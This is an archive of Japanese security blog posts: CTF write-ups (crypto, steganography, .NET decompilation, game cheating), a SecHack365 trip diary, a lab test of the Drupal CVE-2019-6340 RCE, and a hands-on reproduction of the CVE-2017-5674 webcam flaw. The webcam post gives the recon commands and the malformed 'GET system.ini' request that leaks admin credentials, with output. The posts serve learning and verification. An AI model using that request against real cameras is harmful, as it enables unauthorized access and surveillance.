9da56a5135fca5a2c3776c074315,1b5340564c3fcfa9b7aff92de27759b62b2b8e73d5f1e,0,2739b0fd92f8a9304fba5495b0e191087d754ce0b394,0,6416febf2962928a8ef5120576b85de04cf822fe49fe,0,0,0,3e5b4cd5335bce2416b2bdcf69749a058ca3086823af3,33e4a2d274d064bc3b411571cca3d6c2d85404f3ea7b4,0,115ac281bf28f5059ec51c4650d23b6c4a9f454e1b20c,25d011ee737648a87e60e3b97be76c8a9dd3268361796,0,425ed19ba98db56a50e4a298fda5fa9715ab74017a13a,0,0,0,0,0,98ac380fadcde93784206cdbae7a9bc1dda3a92f0e8d,0,0,0,14a9f8eefe6c1aea36c0f011bc6f5fc87fad4510a2868,0,2fe9b18543777aa26ebcdf46e1fc3c652525a2a4a082f,4689ab7aaddd26b88e44abbf52ce6cbf741000c4306e2,87fa26f9a0e9edb1d0ae9145b79d537ce31e5757d8da,0,0,352d826b6b3dfab4c5ada55f2820bea15f98a1e52d304,0,36492d9686ff9b087f76d6ca0be42a9d4a4fd210836a7,dec4371651f6be401e348fdeddb35a94f3b4df6f787c,2450d35d7987a8f8925f4f237b074a40579370a702a7a,bbffc03f22ee8828ad4440c51ab64c8489f443587ade,0,0,1eb996e05dd1768b73e431f67bbdd6c8407cf05539bdd,42af69f6f1de85ebd85d524ee0c880d17a54717b725a4,0,58a7fd168e149a79b4a4334d1d45166fb819e9bae98c,0,23ee10dbd81466fa2f8ecd88262acc81fd55ea565b2ae,0,0,17af0a96a9b2e7e3312bd69df2a5e30c0f196fbaf8d9,0,0,0,0,3b07b9ac09699fb2e689e24323069f5bf18f9cbcbfd12,0,0,0,21696dbfd09e07b904268332fdbfe9183c9128af58580,59ac9552519d6071903d42e04505f36e46ff7e4dc8f04,0,5cf547a07a1aa5f22d735f13e03dd9c218e69a98742ad,f5328872b06391032c8e4f43667c2817a4edad3a2bf1,0,0,0,0,4e590f3ecab6d14a5fe0ca2e77c4aa15a067e96ac3756,dfb2129fe24a885115f47ffe263b606b98e811f57956,0,2540f861746a56c303d83bf411ed5306c584d66ffaab5,0,0,0,0,0,3d9c6045b72e8c8e8681770056e640adf00770a3f93b5,0,

アプローチ:modの性質

encryptのコードとflag.encが与えられます.
encyrptのコードではメッセージ(flag)1文字1文字を8桁の2進数に変換し, 変換後のbitに応じてencryptしているようです(1のときは謎encrypt, 0のときは似非RSA).

次に似非RSAのdecryptが可能かどうかについて考えていきます.
結論から述べると似非RSAのdecryptは簡単に行なえます.なぜなら,pub_keyがとても小さいので簡単に素因数分解できるためです.

しかし,似非RSAのdecryptを行えたとしてもその値が(y * pow(x, 2, n)) % nによってencryptされた値なのか,pow(x, 2, n)によってencryptされた値なのかを判断する方法がないように思われます.

ここでもう一度flag.encに注目すると0の出現頻度がおかしいことに気づきます.

'a'をencryptして動作を確かめてみます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import random

def encrypt_bit(bit):
    n = 569581432115411077780908947843367646738369018797567841
    y = 569581432115411077780908947843367646738369018797567841
    x = random.randint(0, n)
    if bit == '1':
        return (y * pow(x, 2, n)) % n
    return pow(x, 2, n)

if __name__ == '__main__':
    bin_m = '01100001' # 'a'
    x = map(encrypt_bit, bin_m)
    print(list(x))
> python example.py
[503907194163742347950749151189780952424783277180090743, 0, 0, 232013060288249869474521860545175323741752601394883211, 32029176599138398957796327722421222608836960101753808, 125529946533928951618339723926128537231579346326887135, 558211320207958083662854954506953622060168929465128232, 0]

ビット列が1になっているところが0としてencryptされていることに気づきます.
冷静に考えてみればそれはそうで,(y * pow(x, 2, n)) % n におけるynは一致するのでmodの性質上この式は0になります.

encrypt方式の欠点が分かったのでソルバに落とします.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-


if __name__ == '__main__':

    with open('./flag.enc') as f:
        s = f.read()

    enc_text = s.split(',')
    flag = []
    bits = ''
    for x in enc_text[:-1]:
        if x == '0':
            bits += '1'
        else:
            bits += '0'

        if len(bits) == 8:
            flag.append(chr(int(bits,2)))
            bits = ''

    print(''.join(flag))
> python solve.py
utflag{did_u_pay_attention_in_number_theory}

utflag{did_u_pay_attention_in_number_theory}

まとめ

  • Crypto問簡単なのしか解けなくてかなしい
  • 就活でいそがしい
  • 時間に余裕を持ってCTFしたい

Drupalの脆弱性 (CVE-2019-6340) を検証してみた話

はじめに

TLでDrupal脆弱性 (CVE-2019-6340) が話題になっていたので検証してみました.

www.jpcert.or.jp

脆弱性の概要

www.drupal.orgによると一部のフィールドタイプがフォーム以外からのデータを正しくサニタイズしないため,RESTful Web Servicesなどの REST API を利用するモジュールを有効としている場合に任意のPHPコードを実行される可能性があるとのことです.

脆弱性の影響を受ける環境

脆弱性の影響を受ける可能性がある環境は以下の通りです.

脆弱性を利用した攻撃の検証

検証環境の準備

Drupal 8.6.9 に対して検証を行うためにDockerを利用しました.

Docker HubDrupalのイメージがあるので検証環境の準備は簡単です.

hub.docker.com

以下のコマンドを実行すると

> docker run --name drupal_service -p 8080:80 -d drupal:8.6.9

http://localhost:8080/に以下のような画面が表示されます.

f:id:satto1237:20190227012444p:plain

English -> [Save and continue] -> Standard -> [Save and continue] -> SQLite -> [Save and continue] のように遷移するとインストールが始まります.

インストールが終わるとサイトの環境設定を求められるので適当に設定します.

f:id:satto1237:20190227013329p:plain

設定が完了するとトップ画面が立ち上がります.

f:id:satto1237:20190227013558p:plain

次にRESTful Web Servicesの設定を行います (デフォルトでは有効になっていないので).

Manage -> Extend -> WEB SERVICES と遷移し,設定を全て有効にします.

f:id:satto1237:20190227014438p:plain

次にコンテンツの追加を行います.

Manage -> Content -> Add Content と遷移し,コンテンツの追加を行います.

コンテンツの追加に成功するとhttp://localhost:8080/node/1にページが生成されます.

f:id:satto1237:20190227015200p:plain

以上で検証環境の準備は終わりです.

攻撃手法

www.ambionics.io

上記のサイトによると Drupal 8.6.9 と 8.6.10を比較した際にRESTモジュールでFieldItemNormalizer.phpが新しいトレイトとしてSerializedColumnNormalizerTrait.phpを使用していることが分かるとのことです.

github.com

github.com

この新しいトレイトではcheckForSerializedStrings()メソッドを提供しています.
checkForSerializedStrings()メソッドは名前の通り,チェック対象にシリアライズされた文字列が格納されている場合に例外を投げるメソッドです.

この修正内容からパッチ適用前のDrupalではシリアライズされた文字列に対してサニタイズが行われていないため,RCEが可能になっていると推測することができます.
そのため,checkForSerializedStrings()メソッドが適用されているフィールドを特定し,PHPGGCを使用してペイロードを作成すれば攻撃が可能になります.

検証結果

以下がPHPsystem()を噛ませたペイロードを作成し,OSコマンドを実行している例です.

f:id:satto1237:20190227145220p:plain

f:id:satto1237:20190227145236p:plain

f:id:satto1237:20190227145254p:plain

キャッシュチェック(X-Drupal-Cache)で弾かれたノードはスキップしています.

脆弱性に対する対策

脆弱性修正済みバージョンのDrupalが公開されているのでアップデートを適用することで対策が可能になります.

まとめ

  • docker便利
  • PHPGGC便利
  • Drupalは早めにアップデートしましょう

Saudi and Oman National Cyber Security CTF 2019 Write-up

はじめに

2019/02/02 ~ 2019/02/10 に開催されたSaudi and Oman National Cyber Security CTFに個人で参加しました.

成績

5問解いて 105位 (1問以上解いた457人中) でした.

f:id:satto1237:20190210154230p:plain

Just Another Conference [General Information, 50]

famous Cybersecurity conference runs by OWASP in different locations

アプローチ:ググる

www.owasp.org

AppSec

フラグ提出チェック問ですね.

Back to basics [Web Security, 50]

not pretty much many options. No need to open a link from a browser, there is always a different way

Link: http://35.197.254.240/backtobasics

アプローチ:POST

問題文に色々書かれてますが気にせずにリンクを踏んでみるとwww.google.comにリダイレクトされてしまうことが分かります.

curlGETリクエストを投げて確かめてみます.

> curl http://35.197.254.240/backtobasics/

<script> document.location = "http://www.google.com"; </script>%

GETリクエストの情報量が微妙だったので基本に帰って (back to basics) POSTリクエストを投げてみます.

> curl -X POST http://35.197.254.240/backtobasics/
<!--
var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];function reverse(_0xa6e5x2){flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])}console[_0x7f88[4]]= reverse;console[_0x7f88[4]](_0x7f88[5])
-->%

jsが降ってきたので整形してあげます.

var _0x7f88=["","join","reverse","split","log","ceab068d9522dc567177de8009f323b2"];

function reverse(_0xa6e5x2) {
    flag= _0xa6e5x2[_0x7f88[3]](_0x7f88[0])[_0x7f88[2]]()[_0x7f88[1]](_0x7f88[0])
}

console[_0x7f88[4]]= reverse;
console[_0x7f88[4]](_0x7f88[5])

読みにくいの読みやすくします.

flag = "ceab068d9522dc567177de8009f323b2".split("").reverse().join("")

この結果がフラグになります.

2b323f9008ed771765cd2259d860baec

I love images [Digital Forensics, 50]

A hacker left us something that allows us to track him in this image, can you find it?

f:id:satto1237:20190210160433p:plain

アプローチ:baseXX

> file godot.png
godot.png: PNG image data, 64 x 64, 8-bit/color RGBA, non-interlaced
> strings godot.png | tail
*TYlT_qP
vL.I


IK@
VMqa.%
pDuF(
op+P
q}'ZA0
O-T&
IEND
IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======

pngbase64っぽい文字列が埋め込まれているのが分かります.
早速デコードしようとしますが上手くいきません.

> echo 'IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======' | base64 -D
!�� �%��!}�5��I}�0VV(�T=%

ここでrot13系が噛んでるのかなと考え,rot1~rot25までを総当たりしますが上手くデコードできず,無限に時間を溶かしました.

もう一度IZGECR33JZXXIX2PNZWHSX2CMFZWKNRUPU======をよく眺めてみると小文字が出現していないことやパディングが多すぎることに違和感を覚え,ようやくエンコード方式が違うことに気が付きました.

エンコード方式が違うといってもすぐに思いつくエンコード方式がbase58(ビットコインのあれ)くらいだったので色々調べてみるとbase32がそれっぽいことが分かりました.

あとはオンラインツールでデコードしてあげるとフラグを取得できます.
emn178.github.io

FLAG{Not_Only_Base64}

Hack a nice day [Digital Forensics, 100]

can you get the flag out to hack a nice day. Note: Flag format flag{XXXXXXX}

f:id:satto1237:20190210163404j:plain

アプローチ:Steganography

> file info.jpg
info.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "badisbad", baseline, precision 8, 194x259, frames 3

comment: "badisbad"が怪しいですね.

> strings info.jpg | head
JFIF
badisbad
!1!%)+/..
383-7(-.+
---+------+----+-----+----+-------+------------7--
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
)((*
YZI{0

ヘッダから恐らくSteganographyであることが分かります(経験則).

早速steghideで埋め込まれたファイルを抽出します.
この際,passphrasebadisbadを用いました.

> steghide extract -sf info.jpg 
Enter passphrase: 
wrote extracted data to "flaggg.txt".

あとはflaggg.txtを読めば終わりです.

> cat flaggg.txt 
flag{Stegn0_1s_n!ce}

flag{Stegn0_1s_n!ce}

I love this guy [Malware Reverse Engineering, 100]

Can you find the password to obtain the flag?

アプローチ:デコンパイル

> file ScrambledEgg.exe
ScrambledEgg.exe: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

.Net系はdnSpyに投げるのが自分の中で定石になりつつあるので早速デコンパイルしてみます.

// Token: 0x04000001 RID: 1
public char[] Letters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_".ToCharArray();


MessageBox.Show(new string(new char[]
                {
                    this.Letters[5],
                    this.Letters[11],
                    this.Letters[0],
                    this.Letters[6],
                    this.Letters[26],
                    this.Letters[8],
                    this.Letters[28],
                    this.Letters[11],
                    this.Letters[14],
                    this.Letters[21],
                    this.Letters[4],
                    this.Letters[28],
                    this.Letters[5],
                    this.Letters[14],
                    this.Letters[13],
                    this.Letters[25],
                    this.Letters[24],
                    this.Letters[27]
                }));

パスワードを見つけようとしたらフラグを見つけてしまったのでデコードします(恐らく想定解法ではない).

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

if __name__ == '__main__':
    letters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ{}_'
    flag = [
    letters[5],
    letters[11],
    letters[0],
    letters[6],
    letters[26],
    letters[8],
    letters[28],
    letters[11],
    letters[14],
    letters[21],
    letters[4],
    letters[28],
    letters[5],
    letters[14],
    letters[13],
    letters[25],
    letters[24],
    letters[27]]

    print(''.join(flag))
> python solve.py
FLAG{I_LOVE_FONZY}

まとめ

  • 時間をかけて取り組んだ割には微妙な結果になってしまった
  • 解けそうで解けない問題が多くて消耗してしまった
  • MariaのIPアドレスベースのSQLi?めっちゃ解法が気になる
  • CTF用にWindows Laptopがほしい
  • Crypto問が出なくて悲しかった

SecHack365@沖縄に行ってきた話

SecHackのオフラインイベントで沖縄に行ってきました(02/01~02/03)

0日目 (01/31)

21:00

デモの最終確認を始める…

28:30

就寝…

1日目(02/01)

05:00

起床…(結局寝れず横になっただけ)

08:00

羽田空港到着.
睡眠不足からくる乗り物酔いで既に辛かった…

12:30

那覇空港到着.
お昼にソーキそばを食べようとしていたが乗り物酔いが酷すぎて諦めた…

f:id:satto1237:20190207185242j:plain

13:30

空港のロビーでデモの確認や発表中にしゃべることの確認をしながら他のプロジェクトの人と雑談してた.

14:30

会場到着.

f:id:satto1237:20190207193032j:plain

15:30

成果発表会開始.
発表順は年齢順らしく,自分が所属するプロジェクトはメンバー全員がM1なので1日目の後半に発表があった.

17:00

成果発表.
事前に伝えたいことを原稿にまとめていたが,発表中に頭から抜けてしまい,説明不足になってしまうところがあった.
やらかしたな〜と思っていたが質疑応答でその部分について聞かれ,上手く補足できたので良かった.

18:00

夕飯.

f:id:satto1237:20190207192618j:plain

19:00

成果発表会再開.
自分達の発表は終わっていたので気楽に聞けた.

21:00

Self Night Challenge

チームメンバーが3月の外部向け発表会に向けて追加実装を行う中自分はゆゆ式10巻を読んでいた(?) バックエンド担当に新APIが実装されたらオレも追加実装するわ〜とか言ってた気がする

f:id:satto1237:20190207194056j:plain

25:30

就寝.

2日目(02/02)

08:15

起床チャレンジ成功.
早起きすると朝ごはんがおいしい!

09:00

成果発表会再開.
実用的なものからアカデミックなものまでレベルの高い発表が続いた.

12:00

昼食.

f:id:satto1237:20190207194201j:plain

13:00

成果発表会再開.
低レイヤ高校生/高専生のレベルが高過ぎて自信喪失するのと同時にもっと頑張っていかなきゃと改めて思った.

18:00

夕飯.

f:id:satto1237:20190207194540j:plain

22:00

SecHack365最後の夜ということなので何人かのトレーニーで集まり,パソコンをいじりながら色々な話をした.
どんな話をしたのかについては書かないが最後にざっくばらんな話ができて本当に面白かった.

なぜそうなったのかは覚えていないが色々な話をしていたら無性にCTFがしたくなったのでNeverLAN CTF(CTF timeを開いたら開催中だった)に参加した (深夜テンション).
以下Write up.

Alphabet Soup [Crypto]

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA

アプローチ:換字式暗号
問題文を見た限り何も手がかりがなかったので色々と試した(rot13など).
結果的に換字式暗号だった.

NICE GOING ON SOLKING THE CRYPTOGRAM! I WONDER IF YOU DID THIS BY HAND OR USED YOUR RESOURCES. I'M SURE NOW YOU WANT A FLAG SO HERE IT IS FLAG DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL

人力でやると時間がかかるのでqiupqiupを使った. quipqiup.com

DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL

Super Old School [Crypto]

This image is trying to tell you something.

f:id:satto1237:20190207224354p:plain

アプローチ:Babylonian numerals

色々と調べてみるとBabylonian numeralsであることが分かる.
あとは数字とアルファベットを対応させれば終わり.

25 15 21 18
6 12 1 7
9 19
19 15
13 1 14 25
3 18 25 16 22 15 19


Y O U R
F L A G
I S
S O
M A N Y
C R Y P T O S

SOMANYCRYPTOS

February 14th [Crypto]

3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19

 ______________________________________________________________
| 1  2  3  4  5  6  7  8  9  10 11 12 13 14 15 16 17 18 19 20 21|
| ______________________________________________________________|
  J  O  W  W  A  S  Q  L  L  W  E  I  U  S  B  A  E  S  I  P  L
  O  W  W  A  Q  A  P  K  E  Q  I  O  O  Q  D  Z  R  D  O  U  E
  E  D  E  F  B  W  I  J  M  I  K  M  L  W  E  C  Y  E  I  R  O
  D  Z  S  D  M  P  W  H  L  A  L  K  M  E  L  K  U  W  Q  T  W
  L  D  D  L  V  I  D  W  O  S  G  I  N  Z  U  K  K  I  Z  G  D
  Z  M  H  M  D  W  A  Q  Y  L  I  S  B  V  E  P  M  P  B  Q  Z
  E  B  G  I  J  Q  S  A  T  M  S  W  J  C  W  L  V  Q  H  M  S
  G  N  U  O  O  D  F  Z  D  B  A  T  K  N  R  U  D  K  I  P  L
  S  P  I  L  R  F  Q  B  H  H  B  U  O  Q  T  U  I  L  F  U  K
  W  I  O  Q  P  L  I  V  A  G  I  I  U  A  H  Y  P  Y  L  T  Y
  F  Y  K  W  D  K  K  C  Q  O  O  Z  R  W  K  T  S  T  O  R  D
  C  Q  M  A  J  L  F  O  W  Y  R  B  W  D  M  G  O  E  I  D  T
  V  L  E  Z  Q  H  V  I  I  W  S  O  Q  F  N  N  M  D  K  Q  P
  H  A  W  M  S  Q  L  Y  O  I  M  Y  A  K  F  W  I  F  U  J  I
  Y  Q  T  L  A  W  O  H  P  R  Q  W  S  O  Q  S  T  N  W  N  O
  R  U  Y  O  X  S  E  E  L  I  W  X  D  P  A  A  P  O  E  D  U
  F  I  P  P  C  A  W  S  S  P  S  Z  X  T  S  I  O  Y  X  W  T
  M  K  Q  I  H  D  C  O  A  W  Z  W  Z  U  P  O  U  W  N  P  G
  K  L  Z  Y  U  X  F  K  Z  S  S  V  J  G  K  P  R  K  M  K  H
  I  G  S  U  W  G  I  M  X  Z  E  S  L  C  G  E  F  J  Q  Z  V
  U  F  A  R  Q  H  U  K  B  D  U  L  P  F  L  W  T  H  R  X  B

アプローチ:読む

3,9,13,15,18,7,20,1,4,14,5,21,6,2,17,10,8,16,12,11,19  
W E L  L  I  A M  G L A  D T  H A T  I  S O  V  E  R
WELL I AM GLAD THAT IS OVER

WELLIAMGLADTHATISOVER

Z3r0 C00l Bruh! [Crypto]

Hackers keep secrets.

f:id:satto1237:20190207225454j:plain

アプローチ:Steganography + エスパー + Vigenere cipher + エスパー

> strings hackers.jpeg | head -n 10
JFIF
+&.&#&.&D6006DOB?BO_UU_xrx
+&.&#&.&D6006DOB?BO_UU_xrx
$3br
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
sLPA8
VUPrp+Kh"o:W<
sN[fa
75N]N

ヘッダが怪しいのでSteganographyを疑った.
steghideを利用しファイルの抽出を行った.
passphraseエスパーでneverlanctfにした.

> steghide extract -sf hackers.jpeg 
Enter passphrase: 
the file "Ohno.txt" does already exist. overwrite ? (y/n) 
wrote extracted data to "Ohno.txt".

Ohno.txtの中身を見てみる.

> cat Ohno.txt 
I wonder what this is????
Fowbjcsniuwcwscotsxvevvko

Fowbjcsniuwcwscotsxvevvkoをデコードすればフラグを取得できることが何となく分かる.

いくつかの手法を試す.

rot13 => x
base64 => x
vigenere cipher => Yourflagismyfavoritemovie

結果的にvigenere cipherでデコードできた.
デコードの際,KEYはエスパーでHACKERSにした.

myfavoritemovie

26:00

解散 + 就寝

Crypto問が全然Cryptoじゃなかったと文句をいいながら寝た.

3日目 (02/03)

08:00

起床チャレンジ成功.

09:00

優秀修了生発表.
自分達のプロジェクトは選抜されなかったが,選抜されたプロジェクトはどれも素晴らしいものだったので納得の結果だった.

後から聞いた話によると自分達のプロジェクトは惜しくも選抜入りを逃したらしい(最終選考には残っていた)

12:00

昼食.

f:id:satto1237:20190207233327j:plain

13:00

レクリエーション.
バスで斎場御嶽に行った.
3日間ずっと室内にいたのでやっと沖縄に来たんだなぁという気持ちになった.

f:id:satto1237:20190207233738j:plain f:id:satto1237:20190207233803j:plain f:id:satto1237:20190207233830j:plain

16:00

那覇空港で解散.
f:id:satto1237:20190207233940j:plain

23:30

自宅到着.

まとめ

  • 成果発表疲れた
  • 優秀修了生に選ばれなくて悔しかったがいい経験ができたと思う
  • 低レイヤ高校生強すぎる
  • これからも頑張っていく(まずは3月の外部向けの成果発表会)
  • ルートビアは太る

IoT: Webカメラで遊んだ話

はじめに

先日下記のツイートがTLに流れてきました.

CVE-2017-5674が遂にTVデビューしましたね (ちょっとテンションがあがった)
今回は二番煎じですがWebカメラCVE-2017-5674について色々と書いていきます(唐突).

Webカメラ

モデル

今回はVstarcam C7823WIP Mini WIFI IP Camera を使って検証していこうと思います.
上記の動画で扱っていたWebカメラも恐らくVstarcamだと思います.

www.vstarcam.com

ファームウェアのバージョン

f:id:satto1237:20190129014111p:plain

CVE-2017-5674

A vulnerability in a custom-built GoAhead web server used on Foscam, Vstarcam, and multiple white-label IP camera models allows an attacker to craft a malformed HTTP ("GET system.ini HTTP/1.1\n\n" - note the lack of "/" in the path field of the request) request that will disclose the configuration file with the login password.

nvd.nist.gov

CVE-2017-5674 とは 不正な形式のHTTPリクエストを送ることでVstarcamなどのIPカメラで使用されるGoAhead webサーバの設定ファイル(ログインパスワードを含む)が公開されてしまう脆弱性です.

検証

WebカメラIPアドレスの特定

> arp -a | grep 48:2:2c
? (192.168.2.3) at 48:2:2c:40:87:15 on en0 ifscope [ethernet]

WebカメラIPアドレス192.168.2.3であることが分かりました.

ポートスキャン

> nmap -p- -sV 192.168.2.3
Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-29 01:50 JST
Nmap scan report for 192.168.2.3
Host is up (0.024s latency).
Not shown: 65530 closed ports
PORT      STATE SERVICE    VERSION
23/tcp    open  telnet     security DVR telnetd (many brands)
81/tcp    open  http       GoAhead WebServer
9600/tcp  open  tcpwrapped
10080/tcp open  amanda?
10554/tcp open  rtsp

Nmap done: 1 IP address (1 host up) scanned in 62.99 seconds

ポートスキャンの結果からGoAhead WebServer81/tcpで動いていることが分かりました.

補足
ファームウェアのバージョンが異なるモデルではhttpはランダムポートになっています.

81/tcpにアクセス

f:id:satto1237:20190129020229p:plain

ユーザ名とパスワードの入力を求めらます.

パスワードの漏洩

CVE-2017-5674の通りに不正なGETリクエストを送信して設定ファイルを漏洩させます.

> telnet 192.168.2.3 81
Trying 192.168.2.3...
Connected to 192.168.2.3.
Escape character is '^]'.

GET system.ini

HTTP/1.1 200 OK
Date: Mon Jan 28 17:06:13 2019
Server: GoAhead-Webs
Last-modified: Mon Jan 28 16:40:00 2019
Content-length: 4052
Content-type: text/plain
Cache-Control:no-cache
Connection: close

IPCAM������������������������������������������`0O\���time.nist.gov/




adminp4ssw0rd
~~~~������������������������������������������5W
�W
G
��
�j
R
:)VSTB000000ABCDE192.168.1.126Connection closed by foreign host.

admin, p4ssw0rdが降ってきました.

再度81/tcpにアクセス

f:id:satto1237:20190129022034p:plain

先程漏洩させたユーザ名とパスワードを使って81/tcpにアクセスしてみると管理画面が表示されました.

Sign in

適当にSign inするとカメラの映像が表示されます.

f:id:satto1237:20190129024340g:plain

その他

Vstarcam C7823WIP Mini WIFI IP CameraCVE-2017-5674以外にも面白い情報を提供してくれるので雑に紹介します.

初回起動時にユーザ名とデフォルトパスワードが平文で流れる
パケットキャプチャすると見えます.
f:id:satto1237:20190129030014p:plain

www[.]baidu[.]com
何のためかは分かりませんがiPhoneアプリから接続するとwww[.]baidu[.]comの名前解決をします.
AWSとの通信は何となく目的が分かるのですがbaiduとは何やってるんだろう? f:id:satto1237:20190129030803p:plain

まとめ

参考文献

動画の方の資料を参考にさせていただきました.

IoTSecJP ~製造と販売の問題~
http://ruffnex.net/iotsecjp/pdf/vuln.pdf

f:id:satto1237:20190129032000j:plain

InterKosenCTF 2019 Write-up

はじめに

01/18~01/20に開催されたInterKosenCTFにチームNekochanNano!で参加しました.
NekochanNano!は1250pts獲得して12位(71チーム中)でした.
今回は自分が解いた2問(350pts)のWrite-upです.

[Cheat 100pts] lights out

Turn all the lights on.

f:id:satto1237:20190120232312p:plain

ライツアウトは、5×5の形に並んだライトをある法則にしたがってすべて消灯 (lights out) させることを目的としたパズル。(Wiki)

アプローチ:デコンパイル

ライツアウトのソルバ自体はググればたくさん出てきます.
ただ,今回のライツアウトは20×20なので愚直にやると解けなそうです.
なので正攻法?(デコンパイル)で解きました.

LightsOut.exednSpyデコンパイルすると以下のようなコードを発見できます. github.com

// Token: 0x06000017 RID: 23 RVA: 0x0000246C File Offset: 0x0000066C
// Note: this type is marked as 'beforefieldinit'.
static 745BBE96-A34C-4723-B7D4-089F48D57F2E()
{
    745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>> = new byte[]
    {
        200,
        223,
        198,
        210,
        158,
        149,
        232,
        159,
        223,
        216,
        145,
        155,
        226,
        149,
        217,
        238,
        245,
        232,
        253,
        247,
        253,
        235,
        250,
        198,
        193,
        199,
        132,
        197,
        223,
        212,
        128,
        217,
        230,
        242,
        215,
        237,
        189,
        224,
        238,
        235,
        247,
        240,
        227,
        181,
        242,
        180,
        219,
        202,
        200,
        196,
        252,
        224,
        240,
        171,
        241,
        244,
        241,
        167,
        252,
        253,
        239,
        200,
        247,
        253,
        217,
        223,
        156,
        148,
        173,
        128,
        130,
        138,
        144,
        130,
        148,
        148,
        138,
        134,
        144,
        140,
        149,
        149,
        139,
        216,
        179,
        158,
        149,
        147,
        180,
        156,
        130,
        156,
        186,
        158,
        147,
        157,
        190,
        184,
        232,
        134,
        187,
        187
    };
    for (int i = 0; i < 745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>.Length; i++)
    {
        745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] = (byte)((int)745BBE96-A34C-4723-B7D4-089F48D57F2E.<<EMPTY_NAME>>[i] ^ i ^ 170);
    }
}

排他的論理和を使って怪しい処理をしてますね.
同様の処理を行った結果をデコードするとflagが得られます.

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

if __name__ == '__main__':
    messages = [200,223,198,210,158,149,232,159,223,216,145,155,226,149,217,238,245,232,253,247,253,235,250,198,193,199,132,197,223,212,128,217,230,242,215,237,189,224,238,235,247,240,227,181,242,180,219,202,200,196,252,224,240,171,241,244,241,167,252,253,239,200,247,253,217,223,156,148,173,128,130,138,144,130,148,148,138,134,144,140,149,149,139,216,179,158,149,147,180,156,130,156,186,158,147,157,190,184,232,134,187,187]
    flag = []
    for i, message in enumerate(messages):
        flag.append(message ^ i ^ 170)

    print(bytes(flag))
> python solve.py
b'btn{0:D2}{1:D2}KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}Congratulations!MainFormLights Out'

KOSENCTF{st4tic4lly_d3obfusc4t3_OR_dyn4mic4lly_ch34t}

[Cheat 250pts] anti cheat

Get a super good score!

f:id:satto1237:20190121002230p:plain f:id:satto1237:20190121002256p:plain

アプローチ:javascriptの書き換え

問題文から一定以上のスコアを獲得すればflagが表示されることを読み取ることができます.

チートを行うためにChromeデベロッパーツールを使用してjsコードを確認すると以下のようになっています.

f:id:satto1237:20190121003156p:plain

かなり読みにくいですがscoreという変数名を手がかりにスコアの書き換えに利用できそうな処理を探していきます.
scoreで検索をかけると以下のようなコードを発見できます.

_d3(8,8,("SCORE: "+_G3(_e3._r3)));

このコードは恐らく左上のスコアを表示している部分の処理を行っているので_e3._r3に関する処理を書き換えればスコアに影響を与えることができそうだということが分かります.

_e3._r3で検索をかけると以下のようなコードを発見できます.

if((_e3._r3>=1000)){~~~~~}

このコードからスコアが1000以上になった場合に何かしらの処理が行われることが読み取れます.
そのため,コードを以下のように書き換えて再度ゲームをプレイしてみます.

if((_e3._r3>=1)){~~~~~}

f:id:satto1237:20190121005404p:plain

このようにflagが表示されました.

KOSENCTF{bASIc_buT_STrOng_AnTI_chEAT}

まとめ

  • Web, Cryptoが思うように解けずつらくなった…
  • 精進しなければ…
  • チームでCTFやるの楽しい!
  • Rev,Pwn投げっぱなしだったのでなんとかしたい…

チームメンバのWrite-up

szarny.hatenablog.com